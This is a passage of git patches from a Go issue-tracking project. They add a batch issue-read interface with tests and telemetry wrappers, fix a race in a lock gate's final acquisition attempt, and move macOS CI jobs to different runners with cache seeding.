b/internal/storage/uow/batch_getter_contract_test.go new file mode 100644 index 000000000..9821923b4 --- /dev/null +++ b/internal/storage/uow/batch_getter_contract_test.go @@ -0,0 +1,94 @@ +package uow + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestBatchGetterContract runs the BatchGetter contract against the +// unit-of-work provider. +// +// For most roles this is the wiring where a genuine seam divergence shows up, +// because the unit of work is a second body. NOT FOR THIS ROLE: it reaches the +// same issueops.ExecuteGetMany through the domain repository, whose runner +// publishes exactly the DBTX method set that function takes. What this leg +// checks is the WRAPPER — that the request survives the trip and that +// ErrValidation still matches errors.Is after crossing two layers whose +// siblings wrap their errors. +// +// One provider for the whole suite and NO t.Parallel: this backend has no +// per-test copy-on-write branch, so the tables are database-global. Every case +// scopes itself by the ids it seeded. +func TestBatchGetterContract(t *testing.T) { + ctx := context.Background() + fixture := newUOWBatchGetterFixture(t, ctx, "bge") + + t.Run("FindsRequestedIssues", func(t *testing.T) { + conformance.RunBatchGetterFindsRequestedIssues(t, ctx, fixture) + }) + t.Run("ReportsMissingIDs", func(t *testing.T) { + conformance.RunBatchGetterReportsMissingIDs(t, ctx, fixture) + }) + t.Run("CollapsesRepeatedIDs", func(t *testing.T) { + conformance.RunBatchGetterCollapsesRepeatedIDs(t, ctx, fixture) + }) + t.Run("AnswersInRequestOrder", func(t *testing.T) { + conformance.RunBatchGetterAnswersInRequestOrder(t, ctx, fixture) + }) + t.Run("ResolvesIDsExactly", func(t *testing.T) { + conformance.RunBatchGetterResolvesIDsExactly(t, ctx, fixture) + }) + t.Run("AnswersAnEmptyRequest", func(t *testing.T) { + conformance.RunBatchGetterAnswersAnEmptyRequest(t, ctx, fixture) + }) + t.Run("RefusesAnUnusableRequest", func(t *testing.T) { + conformance.RunBatchGetterRefusesAnUnusableRequest(t, ctx, fixture) + }) + t.Run("RefusesOverTheCap", func(t *testing.T) { + conformance.RunBatchGetterRefusesOverTheCap(t, ctx, fixture) + }) + t.Run("AcceptsExactlyTheCap", func(t *testing.T) { + conformance.RunBatchGetterAcceptsExactlyTheCap(t, ctx, fixture) + }) + t.Run("LeavesTheRequestAlone", func(t *testing.T) { + conformance.RunBatchGetterLeavesTheRequestAlone(t, ctx, fixture) + }) + t.Run("SharesOneReadStructurally", func(t *testing.T) { + conformance.RunBatchGetterSharesOneReadStructurally(t, ctx, fixture) + }) + t.Run("HydratesLabels", func(t *testing.T) { + conformance.RunBatchGetterHydratesLabels(t, ctx, fixture) + }) + t.Run("CrossesBothPlanes", func(t *testing.T) { + conformance.RunBatchGetterCrossesBothPlanes(t, ctx, fixture) + }) + t.Run("WritesNothing", func(t *testing.T) { + conformance.RunBatchGetterWritesNothing(t, ctx, fixture) + }) +} + +func newUOWBatchGetterFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchGetterFixture { + t.Helper() + provider := newUOWRoleFixtureProvider(t, ctx, prefix) + // Through the capability accessor, not NewBatchGetter: a provider that + // stopped offering the role is the regression, and a constructor call would + // hide it. + source, ok := provider.(BatchGetterSource) + if !ok { + t.Fatalf("provider %T does not offer the BatchGetter accessor", provider) + } + getter, err := source.BatchGetter() + if err != nil { + t.Fatalf("BatchGetter(): %v", err) + } + kit := newUOWRoleFixtureKit(provider, prefix) + return conformance.BatchGetterFixture{ + IssuePrefix: kit.IssuePrefix, + BatchGetter: getter, + CreateIssue: kit.CreateIssue, + CreateWisp: kit.CreateWisp, + CountHistory: kit.CountHistory, + } +} diff --git a/internal/storage/uow/batchgetter.go b/internal/storage/uow/batchgetter.go new file mode 100644 index 000000000..c379d2102 --- /dev/null +++ b/internal/storage/uow/batchgetter.go @@ -0,0 +1,44 @@ +package uow + +import ( + "context" + "fmt" + + publicops "github.com/steveyegge/beads/issueops" +) + +// BatchGetterSource is the capability accessor a unit-of-work provider offers +// for the batch-read role, the sibling of CounterSource and GraphCounterSource. +type BatchGetterSource interface { + BatchGetter() (publicops.BatchGetter, error) +} + +// batchGetter answers a GetMany through a unit of work. +type batchGetter struct { + provider UnitOfWorkProvider +} + +// BatchGetter returns the guarded batch-read surface for this provider. +func (p *doltSQLProvider) BatchGetter() (publicops.BatchGetter, error) { + return NewBatchGetter(p) +} + +// NewBatchGetter constructs a public BatchGetter backed by provider. +func NewBatchGetter(provider UnitOfWorkProvider) (publicops.BatchGetter, error) { + if isNilUnitOfWorkProvider(provider) { + return nil, fmt.Errorf("new batch getter: unit-of-work provider must not be nil") + } + return &batchGetter{provider: provider}, nil +} + +var _ publicops.BatchGetter = (*batchGetter)(nil) + +// GetMany reaches domain.IssueSQLRepository.GetMany inside ONE read-only unit +// of work, the same seam CountEdges reaches DependencyUseCase.CountEdges +// through: the request's whole vocabulary is validated inside the shared +// body (issueops.ExecuteGetMany), so this leg does no pre-check of its own. +func (c *batchGetter) GetMany(ctx context.Context, request publicops.GetManyRequest) (publicops.GetManyResult, error) { + return RunTxRead(ctx, c.provider, func(ctx context.Context, uw UnitOfWork) (publicops.GetManyResult, error) { + return uw.IssueUseCase().GetMany(ctx, request) + }) +} diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index d61b68529..f1e9930e5 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -238,6 +238,10 @@ func (p *notifyingProvider) GraphCounter() (publicops.GraphCounter, error) { return NewGraphCounter(p) } +func (p *notifyingProvider) BatchGetter() (publicops.BatchGetter, error) { + return NewBatchGetter(p) +} + func (p *notifyingProvider) Counter() (publicops.Counter, error) { return NewCounter(p) } func (p *notifyingProvider) ReadyCounter() (publicops.ReadyCounter, error) { @@ -400,6 +404,7 @@ var ( _ BlockingAnnotatorSource = (*notifyingProvider)(nil) _ TreeWalkerSource = (*notifyingProvider)(nil) _ GraphCounterSource = (*notifyingProvider)(nil) + _ BatchGetterSource = (*notifyingProvider)(nil) _ CounterSource = (*notifyingProvider)(nil) _ ReadyCounterSource = (*notifyingProvider)(nil) _ ReadyClaimerSource = (*notifyingProvider)(nil) diff --git a/internal/storage/uow/notifying_parity_test.go b/internal/storage/uow/notifying_parity_test.go index 5bccc063e..5114f2212 100644 --- a/internal/storage/uow/notifying_parity_test.go +++ b/internal/storage/uow/notifying_parity_test.go @@ -145,6 +145,7 @@ func TestRecordingIssueUseCaseCoversItsSurface(t *testing.T) { "GetEpicsEligibleForClosure": reads, "GetIssue": reads, "GetIssuesByIDs": reads, + "GetMany": reads, "GetNewlyUnblockedByClose": reads, "GetNewlyUnblockedByCloseWisp": reads, "GetReadyWork": reads, diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index a8e863458..a643c5b60 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -6,6 +6,7 @@ go_library( "batch_applier.go", "batch_closer.go", "batch_creator.go", + "batch_getter.go", "blockingannotator.go", "bootstrapper.go", "commenter.go", diff --git a/internal/telemetry/batch_getter.go b/internal/telemetry/batch_getter.go new file mode 100644 index 000000000..1b4f5cddb --- /dev/null +++ b/internal/telemetry/batch_getter.go @@ -0,0 +1,36 @@ +package telemetry + +import ( + "context" + + "github.com/steveyegge/beads/issueops" +) + +// BatchGetter returns the inner store's batch-read surface wrapped in this +// layer's instrumentation. It recurses instead of delegating: a blind +// delegation would return the inner getter unspanned and untimed. +func (s *InstrumentedStorage) BatchGetter() (issueops.BatchGetter, error) { + inner, err := s.Unwrap().BatchGetter() + if err != nil { + return nil, err + } + return s.WrapBatchGetter(inner), nil +} + +// WrapBatchGetter instruments guarded batch reads with this storage layer's +// existing telemetry meter and tracer. +func (s *InstrumentedStorage) WrapBatchGetter(inner issueops.BatchGetter) issueops.BatchGetter { + return &instrumentedBatchGetter{storage: s, inner: inner} +} + +type instrumentedBatchGetter struct { + storage *InstrumentedStorage + inner issueops.BatchGetter +} + +func (c *instrumentedBatchGetter) GetMany(ctx context.Context, request issueops.GetManyRequest) (result issueops.GetManyResult, err error) { + ctx, span, started := c.storage.op(ctx, "BatchGetter.GetMany") + result, err = c.inner.GetMany(ctx, request) + c.storage.done(ctx, span, started, err) + return result, err +} diff --git a/internal/telemetry/role_accessor_decorator_test.go b/internal/telemetry/role_accessor_decorator_test.go index 0d7caece4..e7c9b7c9c 100644 --- a/internal/telemetry/role_accessor_decorator_test.go +++ b/internal/telemetry/role_accessor_decorator_test.go @@ -133,6 +133,9 @@ func (s *roleAccessorStore) TreeWalker() (issueops.TreeWalker, error) { return s func (s *roleAccessorStore) GraphCounter() (issueops.GraphCounter, error) { return s.surface, s.err } +func (s *roleAccessorStore) BatchGetter() (issueops.BatchGetter, error) { + return s.surface, s.err +} func (s *roleAccessorStore) BlockingAnnotator() (issueops.BlockingAnnotator, error) { return s.surface, s.err } @@ -258,6 +261,9 @@ func (*roleAccessorSentinel) CountReady(context.Context, issueops.ReadyRequest) func (*roleAccessorSentinel) CountEdges(context.Context, issueops.EdgeCountRequest) (issueops.EdgeCountResult, error) { return issueops.EdgeCountResult{}, nil } +func (*roleAccessorSentinel) GetMany(context.Context, issueops.GetManyRequest) (issueops.GetManyResult, error) { + return issueops.GetManyResult{}, nil +} func (*roleAccessorSentinel) Query(context.Context, issueops.QueryRequest) (issueops.IssuePage, error) { return issueops.IssuePage{}, nil @@ -355,6 +361,7 @@ func TestInstrumentedStorageInstrumentsEveryRoleAccessor(t *testing.T) { {"BlockingAnnotator", func() (any, error) { return wrapped.BlockingAnnotator() }, sentinel}, {"TreeWalker", func() (any, error) { return wrapped.TreeWalker() }, sentinel}, {"GraphCounter", func() (any, error) { return wrapped.GraphCounter() }, sentinel}, + {"BatchGetter", func() (any, error) { return wrapped.BatchGetter() }, sentinel}, {"Counter", func() (any, error) { return wrapped.Counter() }, sentinel}, {"WorkspaceConfig", func() (any, error) { return wrapped.WorkspaceConfig() }, sentinel}, {"Memories", func() (any, error) { return wrapped.Memories() }, memorySentinel}, @@ -440,6 +447,7 @@ func TestInstrumentedStorageRoleAccessorsPropagateInnerErrors(t *testing.T) { {"BlockingAnnotator", func() (any, error) { return wrapped.BlockingAnnotator() }}, {"TreeWalker", func() (any, error) { return wrapped.TreeWalker() }}, {"GraphCounter", func() (any, error) { return wrapped.GraphCounter() }}, + {"BatchGetter", func() (any, error) { return wrapped.BatchGetter() }}, {"Counter", func() (any, error) { return wrapped.Counter() }}, {"WorkspaceConfig", func() (any, error) { return wrapped.WorkspaceConfig() }}, {"Memories", func() (any, error) { return wrapped.Memories() }}, diff --git a/internal/types/types.go b/internal/types/types.go index fcba02e45..d92838761 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1366,6 +1366,27 @@ func NewIssueDetails(issue Issue) *IssueDetails { return &IssueDetails{Issue: issue, Revision: RevisionToken(issue.RowVersion)} } +// BatchGetIssue is one entry of BatchGetIssuesResult.issues: a resolved issue +// plus its current revision token, projected the same way IssueDetails +// projects one off the embedded Issue's RowVersion (RowVersion is json:"-", +// so the Issue body alone cannot carry it). Hydration for a batch-get issue +// is LABELS ONLY — no dependencies, dependents or comments; a caller wanting +// those reads GET /v0/beads/issues/{id} (IssueDetails) instead. +// +// NewBatchGetIssue is the only door, for the same reason NewIssueDetails is: +// a struct literal with an unset Revision serializes a "0" indistinguishable +// from a legacy migration-0054 row. +type BatchGetIssue struct { + Issue + Revision string `json:"revision"` +} + +// NewBatchGetIssue projects issue with its wire-visible revision token, the +// BatchGetIssuesResult.issues counterpart of NewIssueDetails. +func NewBatchGetIssue(issue Issue) BatchGetIssue { + return BatchGetIssue{Issue: issue, Revision: RevisionToken(issue.RowVersion)} +} + // DependencyType categorizes the relationship type DependencyType string diff --git a/issue_roles_external_test.go b/issue_roles_external_test.go index f5c70fc34..b6e6dd38a 100644 --- a/issue_roles_external_test.go +++ b/issue_roles_external_test.go @@ -654,6 +654,35 @@ func TestGraphCounterExposesTypedUnsupportedError(t *testing.T) { } } +// TestBatchGetterKeepsTelemetryOutermost is the READ answer again: reading +// issues by id fires no completion hooks, so the hook decorator adds no layer. +func TestBatchGetterKeepsTelemetryOutermost(t *testing.T) { + t.Setenv("BD_OTEL_STDOUT", "true") + instrumented, ok := telemetry.WrapStorage(&dolt.DoltStore{}).(*telemetry.InstrumentedStorage) + if !ok { + t.Fatal("WrapStorage() did not create InstrumentedStorage") + } + + getter, err := storage.NewHookFiringStore(instrumented, nil).BatchGetter() + if err != nil { + t.Fatalf("BatchGetter() error = %v", err) + } + if got := reflect.TypeOf(getter).String(); got != "*telemetry.instrumentedBatchGetter" { + t.Fatalf("outer layer = %s, want the telemetry wrapper unwrapped by the hook decorator", got) + } +} + +func TestBatchGetterExposesTypedUnsupportedError(t *testing.T) { + getter, err := (*dolt.DoltStore)(nil).BatchGetter() + if getter != nil { + t.Fatalf("BatchGetter() getter = %T, want nil", getter) + } + var unsupported *beads.ErrUnsupported + if !errors.As(err, &unsupported) { + t.Fatalf("BatchGetter() error = %v, want *beads.ErrUnsupported", err) + } +} + func TestCounterExposesTypedUnsupportedError(t *testing.T) { counter, err := (*dolt.DoltStore)(nil).Counter() if counter != nil { diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index eb0076988..3e26c2f1a 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -6,6 +6,7 @@ go_library( "batchapplier.go", "batchcloser.go", "batchcreator.go", + "batchgetter.go", "blockedstate.go", "blockingannotator.go", "bootstrapper.go", diff --git a/issueops/batchgetter.go b/issueops/batchgetter.go new file mode 100644 index 000000000..6d6914c41 --- /dev/null +++ b/issueops/batchgetter.go @@ -0,0 +1,149 @@ +package issueops + +import ( + "context" + "fmt" +) + +// MaxGetManyIDs is the largest request this role accepts in one call. It is a +// FLAT bound on the request, not a cost model over what a backend does with +// it: GetMany reads every named id in ONE snapshot, so the bound is really a +// bound on how long one request may hold a single read open. +// +// 1000 is the same number BatchApplier settled on (issueops.MaxApplyBatchItems) +// and the same number DeleteRequest.IDs caps at on the wire +// (openapi.v0.yaml's DeleteIssuesRequest). It is not borrowed for symmetry: a +// caller fanning out gc's ready veto or the CLI's own id-resolution passes +// already walks lists in exactly this range, and a cap an order of magnitude +// smaller would just reintroduce the per-id fan-out this role exists to +// replace. +const MaxGetManyIDs = 1000 + +// TooManyIDsError reports that a GetManyRequest named more ids than this role +// accepts in one call. It wraps ErrValidation, so a caller that only checks +// for a usable request classifies it correctly without knowing this type +// exists, and errors.As gets at Requested and Cap for a caller that wants to +// say how far over the line the request was. +type TooManyIDsError struct { + // Requested is the number of ids the request named, counted BEFORE + // deduplication: a caller that sent 1500 mentions of 3 distinct ids typed + // a request this role still refuses, because the obligation this cap + // bounds is reading the request apart, not reading the rows it resolves + // to. + Requested int + // Cap is MaxGetManyIDs, carried on the error so a caller does not need the + // constant in scope to report what it hit. + Cap int +} + +func (e *TooManyIDsError) Error() string { + return fmt.Sprintf("get many accepts at most %d ids, got %d", e.Cap, e.Requested) +} + +// Unwrap makes TooManyIDsError match ErrValidation. +func (e *TooManyIDsError) Unwrap() error { return ErrValidation } + +// GetManyRequest names the issues to fetch in one read. +// +// Implementations never mutate caller-owned request values: IDs is read, +// never written through, and never sorted in place. +type GetManyRequest struct { + // IDs names the issues to fetch, in either plane, exact ids only. Prefix + // resolution and bd's other id conveniences happen at the front door, + // above this role, the same boundary DeleteRequest.IDs draws. + // + // DUPLICATES COLLAPSE and the surviving order is the caller's first + // mention of each id: a caller that asks for [a, b, a] gets back Issues + // in the order [a, b] (whichever of those resolve) and nothing about a + // twice. + // + // AN ID THAT NAMES NO STORED ROW IS NOT AN ERROR. It is reported in + // GetManyResult.Missing beside whatever else resolved — the same + // result-field answer EdgeCountResult.Anchors and EdgeReadResult give a + // miss, and the reason GetMany does not return ErrNotFound the way + // DeleteRequest's all-or-nothing id check does: a batch GET is a set + // read, not a precondition on every member succeeding. + // + // MORE THAN MaxGetManyIDs IS A REFUSAL: a *TooManyIDsError, counted on + // the request as sent, before deduplication. + // + // An empty slice is not an error. It answers with an empty result, the + // same empty-request answer EdgeCountRequest.IDs documents, because "no + // ids" is a legitimate thing to ask for 0 issues about and a caller that + // built its list by filtering should not have that filter's empty result + // turned into a different kind of failure than the one it already knows + // how to handle. + IDs []string +} + +// GetManyResult answers a GetManyRequest from one snapshot. +type GetManyResult struct { + // Issues holds the hydrated rows for every id that resolved, in the + // REQUEST's order (the caller's first mention of each distinct id), never + // the storage engine's natural order. Each Issue carries its current + // RowVersion, so a caller that goes on to write one back has the + // optimistic-concurrency token a lifecycle write wants without a second + // round trip. + // + // HYDRATION IS LABELS ONLY: no dependencies, dependents or comments. A + // caller that needs those calls Reader.Get instead, one id at a time. + // + // Never nil for a successful call, even when it is empty: a front door + // that marshals this field emits [] rather than null, the same promise + // EdgeCountResult.Anchors makes. + Issues []*Issue + // Missing names every requested id that resolved to no stored row, in the + // same first-mention order as the request. An id that appears in Missing + // does not appear in Issues, and the two slices' lengths sum to the + // number of DISTINCT ids the request named. + // + // Never nil for a successful call: an all-found request answers with an + // empty, non-nil Missing. + Missing []string +} + +// BatchGetter reads many issues by id in one snapshot. +// +// It exists because the obvious way to read N issues — one Get per id — is +// what gc's ready veto and the bd CLI both do today, and it costs N round +// trips (or N transactions, for a backend where each Get opens its own) to +// answer a single question a caller already knows the shape of: "which of +// these ids exist, and what do they look like right now." BatchGetter answers +// that in one call over one snapshot, the same trade EdgeCountRequest.IDs and +// EdgeReadRequest make for the edge-shaped versions of the same question. +// +// IT IS A FACADE-ONLY ROLE, for now: this slice wires every library leg +// (dolt, embedded dolt, the unit-of-work provider) and the +// POST /v0/beads/issues:batchGet HTTP handler, but ships no HTTP CLIENT leg. +// A caller on the wrong side of that door reaches this role through the raw +// HTTP request the handler answers, not through a typed client method, until +// the client generator lands (see the TODO beside the CLI call sites this +// slice did not migrate, and PR #7247). A later slice updates this doc and the +// client-side TODOs together once that leg exists. +// +// It differs from Reader.Get in arity, in hydration and in what a miss means: +// Get answers ONE id with *IssueDetails or ErrNotFound, labels, dependencies, +// dependents and comments included; this answers MANY ids with a result +// whose Missing field is how a caller tells "this one does not exist" from +// "the call failed," and whose Issues are hydrated LABELS ONLY — no +// dependencies, dependents or comments. A caller that needs those calls +// Reader.Get instead, one id at a time. It differs from EdgeReader and +// GraphCounter in what it is reading: those answer questions about the EDGES +// a set of anchors carries; this answers the ISSUES themselves. +type BatchGetter interface { + // GetMany reads every id GetManyRequest.IDs names, in ONE snapshot. The + // existence check and the hydration share that snapshot for the reason + // ExecuteEdgeCount's probe-and-tally share one: a probe in its own + // transaction could report an id missing while a second transaction + // created it, contradicting itself in one response body. + // + // Refuses with: + // - *TooManyIDsError, wrapping ErrValidation, when IDs carries more than + // MaxGetManyIDs entries (counted before deduplication); + // - ErrValidation for an empty-string entry in IDs, the same per-entry + // check EdgeCountRequest.IDs applies. + // + // Never returns ErrNotFound: an id naming no stored row is reported in + // GetManyResult.Missing, not refused. + GetMany(ctx context.Context, request GetManyRequest) (GetManyResult, error) +} From 685cf848bd28923f192cf65ef8f4c2bff8e89243 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 12:57:09 -0700 Subject: [PATCH 110/325] fix(gate): a budget spent during the intent probe still gets the final attempt (#7237) A farm run of TestAcquireAllExhaustedBudgetFinalAttemptIgnoresIntent (#7225) failed with "held by a bd maintenance operation queued for exclusive access" for a gate that was free: a real product race that broke the guarantee that queued maintenance can delay a shared acquirer but never fail it. Acquire decided whether an attempt was final from the clock at the top of the iteration, then probed the intent lock (open + flock + reading the sidecar). On a starved machine the probe can take longer than the budget that was left, so the iteration deferred as "not final", found the budget spent, and returned ErrBusy without ever trying the gate. Now a deferral can never end the acquisition: if the budget ran out while deferring, the loop makes one more attempt at the gate that ignores the queue, and only a gate that is really held can fail it. Tests: - TestSharedFinalAttemptSurvivesStallDuringIntentProbe stalls the acquirer past its deadline right after the deferral decision (a test-only hook), so the race is reproduced deterministically for both Acquire and AcquireAll; it fails with the farm's exact message without the fix. - TestAcquireAllExhaustedBudgetFinalAttemptIgnoresIntent no longer releases gate a from a timer racing the budget (a second load-dependent failure mode seen in the repro); a is released synchronously after the call. Under load (Bazel server pinned to 2 CPUs with taskset, 32 concurrent test jobs, race detector): the original test failed 71/200 runs (-test.count=20); with the fix both tests pass 200/200 (-test.count=10), and the whole workspacegate_test passes 200/200. Co-authored-by: Claude Opus 5.5 (1M context) --- internal/workspacegate/gate.go | 28 +++++++++++-- internal/workspacegate/gate_test.go | 63 +++++++++++++++++++++++++---- 2 files changed, 80 insertions(+), 11 deletions(-) diff --git a/internal/workspacegate/gate.go b/internal/workspacegate/gate.go index f1f8d821c..754c14400 100644 --- a/internal/workspacegate/gate.go +++ b/internal/workspacegate/gate.go @@ -496,13 +496,22 @@ func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, er defer func() { g.releaseIntent(intent) }() notified := false + // finalAttempt is set once the budget ran out while this acquisition was + // deferring to queued intent: it then gets exactly one more try at the + // gate, ignoring the queue, before it may fail. Deciding finality from + // the clock at the top of an iteration is not enough — the intent probe + // itself takes time (a loaded machine can stall it for milliseconds), so + // "budget not yet spent" before the probe can be "spent" after it, and + // failing there would let a mere queue fail a shared acquirer. + finalAttempt := false for { var detail string - // The final attempt (budget spent) ignores intent: queued - // maintenance may delay a shared acquirer, never fail it. - final := time.Until(deadline) <= 0 - if defersToIntent && !final && g.ExclusiveQueued() { + deferred := defersToIntent && !finalAttempt && time.Until(deadline) > 0 && g.ExclusiveQueued() + if deferred { detail = g.queuedDetail() + if testHookAfterIntentDefer != nil { + testHookAfterIntentDefer() + } } else { err := try(f) if err == nil { @@ -525,6 +534,12 @@ func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, er } } remaining := time.Until(deadline) + if deferred && remaining <= 0 { + // Queued maintenance may delay a shared acquirer, never fail + // it: the budget is spent, so try the gate itself once more. + finalAttempt = true + continue + } if !waiting || remaining <= 0 { _ = f.Close() return nil, fmt.Errorf("workspacegate: %s (%s mode) held by %s: %w", @@ -557,6 +572,11 @@ func (g Gate) Acquire(ctx context.Context, mode Mode, opts Options) (*Handle, er } } +// testHookAfterIntentDefer, when set (tests only), runs right after a +// waiting shared acquisition decides to defer to queued intent, so tests can +// stall it past its deadline at exactly the point a loaded machine might. +var testHookAfterIntentDefer func() + // maxIntentHold caps how long one Exclusive acquisition keeps the intent // lock without getting the gate. It must stay well below the shared wait // budget callers use (bd: BEADS_GATE_WAIT_TIMEOUT, default 30s) and well diff --git a/internal/workspacegate/gate_test.go b/internal/workspacegate/gate_test.go index b838e0f6d..391a6d50d 100644 --- a/internal/workspacegate/gate_test.go +++ b/internal/workspacegate/gate_test.go @@ -1210,16 +1210,19 @@ func TestAcquireAllExhaustedBudgetFinalAttemptIgnoresIntent(t *testing.T) { t.Fatal("tryTakeIntent on b failed") } t.Cleanup(func() { b.releaseIntent(intent) }) - // a is held exclusively past the whole budget's midpoint and released - // only after the budget is spent, so b gets no budget at all. + + // a held for the whole call (released only after it returns): the set + // fails on a, the gate that is really held, never reaching b. ha := mustAcquire(t, a, Exclusive, Options{}) - time.AfterFunc(400*time.Millisecond, func() { _ = ha.Release() }) _, err := AcquireAll(context.Background(), Shared, - Options{Wait: 300 * time.Millisecond, PollInterval: 10 * time.Millisecond}, a, b) - if !errors.Is(err, ErrBusy) { - t.Fatalf("a held past the budget: %v, want ErrBusy", err) + Options{Wait: 100 * time.Millisecond, PollInterval: 10 * time.Millisecond}, a, b) + _ = ha.Release() + if !errors.Is(err, ErrBusy) || !strings.Contains(err.Error(), a.Path()) { + t.Fatalf("a held past the budget: %v, want ErrBusy on %s", err, a.Path()) } - time.Sleep(200 * time.Millisecond) // a is free now + + // Both gates free, intent queued on b: b defers for the rest of the + // budget, then its final attempt gets in. start := time.Now() m, err := AcquireAll(context.Background(), Shared, Options{Wait: 200 * time.Millisecond, PollInterval: 10 * time.Millisecond}, a, b) @@ -1232,6 +1235,52 @@ func TestAcquireAllExhaustedBudgetFinalAttemptIgnoresIntent(t *testing.T) { } } +// The race behind a farm flake of the test above: the budget can run out +// DURING the intent probe (a stalled process), after the iteration already +// decided the attempt was not final. The acquisition must still make its +// final, queue-ignoring attempt instead of failing on the queue alone. The +// hook stalls the acquirer past its deadline at exactly that point, so this +// is deterministic rather than load-dependent. +func TestSharedFinalAttemptSurvivesStallDuringIntentProbe(t *testing.T) { + g, _ := testGate(t) + intent := g.tryTakeIntent("test queued maintenance") + if intent == nil { + t.Fatal("tryTakeIntent failed") + } + t.Cleanup(func() { g.releaseIntent(intent) }) + + // Generous budget: the first probe must happen well inside it even on a + // starved runner, or there is no deferral to stall (asserted below). + const wait = time.Second + var stalls int + testHookAfterIntentDefer = func() { + stalls++ + time.Sleep(wait + 50*time.Millisecond) // budget gone before the deadline check + } + t.Cleanup(func() { testHookAfterIntentDefer = nil }) + + h, err := g.Acquire(context.Background(), Shared, Options{Wait: wait, PollInterval: 10 * time.Millisecond}) + if err != nil { + t.Fatalf("queued intent failed a shared acquisition whose budget ran out mid-probe: %v", err) + } + _ = h.Release() + if stalls != 1 { + t.Fatalf("intent deferrals = %d, want exactly 1 (then the final attempt)", stalls) + } + + // Same through AcquireAll, where later gates get the leftover budget. + stalls = 0 + other, _ := ForPhysicalRoot(filepath.Join(filepath.Dir(g.Path()), "zz")) + m, err := AcquireAll(context.Background(), Shared, Options{Wait: wait, PollInterval: 10 * time.Millisecond}, g, other) + if err != nil { + t.Fatalf("AcquireAll: queued intent failed the set after a mid-probe stall: %v", err) + } + _ = m.Release() + if stalls != 1 { + t.Fatalf("AcquireAll intent deferrals = %d, want exactly 1 (then the final attempt)", stalls) + } +} + // Two exclusive waiters behind one shared holder: no deadlock, both get the // gate in turn, and the intent is handed off and finally released. func TestTwoExclusiveWaiters(t *testing.T) { From 4493eb8d2336edcfb96fbf1a6df155a0fa3fb800 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 13:19:49 -0700 Subject: [PATCH 111/325] ci(pr): run same-repo macOS preflight/doc-freshness legs on Blacksmith macOS (#7231) pr-preflight-platforms and check-doc-freshness-platforms now resolve their same-repo-macos marker like the Linux/Windows legs: blacksmith-6vcpu-macos-26 for same-repo PRs and merge_group, GitHub-hosted macos-latest for forks, Dependabot and every other event. The label is pinned to macos-26 because GitHub's macos-latest is macos-26-arm64 today, so both paths run the same OS/arch; 6 vCPU is already 2x macos-latest's 3 vCPU. Blacksmith cannot see GitHub-saved caches, so main.yml gains blacksmith-macos-go-build-cache: a push-to-main-only saver on the same label (same job guard as the other Blacksmith savers) that builds ./cmd/bd and runs the shared warm-non-race-cache.sh, saving the module cache and a non-race GOCACHE keyed by go.sum + UTC day. The PR legs stay restore-only. main.yml's GitHub-hosted macOS full-suite leg is unchanged and keeps seeding the fork path. Policy tests: the macOS marker arm is evaluated for same-repo/merge_group/ fork/deleted-head/dependabot/push/schedule and must match the flat macOS const; the saver joins the PR-guard and per-day-key sweeps and the cache ownership inventory; TestBlacksmithMacOSSaverMatchesPRLegs pins the label/path/key/warm-up contract between saver and PR legs. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/main.yml | 89 ++++++++++++++++++++++++++- .github/workflows/pr.yml | 29 +++++---- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 35 ++++++++++- scripts/ci/warm-non-race-cache.sh | 6 +- scripts/ci_blacksmith_runner_test.go | 84 +++++++++++++++++++------ scripts/ci_f7b_review_test.go | 84 ++++++++++++++++++++++++- scripts/ci_workflow_test.go | 24 +++++++- 7 files changed, 313 insertions(+), 38 deletions(-) diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index 4ff20e84e..03d6edd5b 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -770,8 +770,10 @@ jobs: GOCACHE: ${{ runner.temp }}/go-cache/non-race run: go build -v -tags gms_pure_go ./cmd/bd - # Seeds the macOS non-race GOCACHE that pr.yml's pr-preflight-platforms - # and check-doc-freshness-platforms macOS legs restore with the test + # Seeds the GitHub-hosted macOS non-race GOCACHE that pr.yml's + # pr-preflight-platforms and check-doc-freshness-platforms macOS legs + # restore on the fork/Dependabot path (same-repo PRs run those legs on + # Blacksmith macOS, seeded by blacksmith-macos-go-build-cache) with the test # packages they actually compile (./cmd/bd's test variant and its # test-only deps, ./scripts both tag sets, gitattributespolicy). The # Build step above only compiles the non-test ./cmd/bd graph, so the PR @@ -1693,6 +1695,89 @@ jobs: path: ${{ runner.temp }}/go-cache/non-race key: beads-go-build-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-base-gms_pure_go-non-race-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} + # Blacksmith macOS saver: pr.yml's pr-preflight-platforms and + # check-doc-freshness-platforms macOS legs run on blacksmith-6vcpu-macos-26 + # for same-repo PRs/merge_group, and Blacksmith runners cannot see the + # macOS caches the GitHub-hosted `test` job's macOS leg saves above (that + # leg keeps seeding the fork/Dependabot macos-latest path). This job is + # their only seeder, on the exact same label, and runs only the shared + # warm-up those legs compile (warm-non-race-cache.sh, the same script the + # Linux/Windows/GitHub-macOS seeders use) plus the non-test ./cmd/bd build + # the GitHub macOS leg also warms -- no tests, so it stays a few minutes of + # Blacksmith macOS time per push. Same push-to-main-only job guard (B2) and + # go.sum + UTC-day cache keys (S7) as blacksmith-go-build-cache, so a + # same-repo PR can never write this namespace and ordinary push traffic + # writes at most one non-race entry per day. Pinned by + # TestBlacksmithSaverJobsGuardedAgainstPullRequest, + # TestBlacksmithSaverCacheKeysAreNotPerCommit and + # 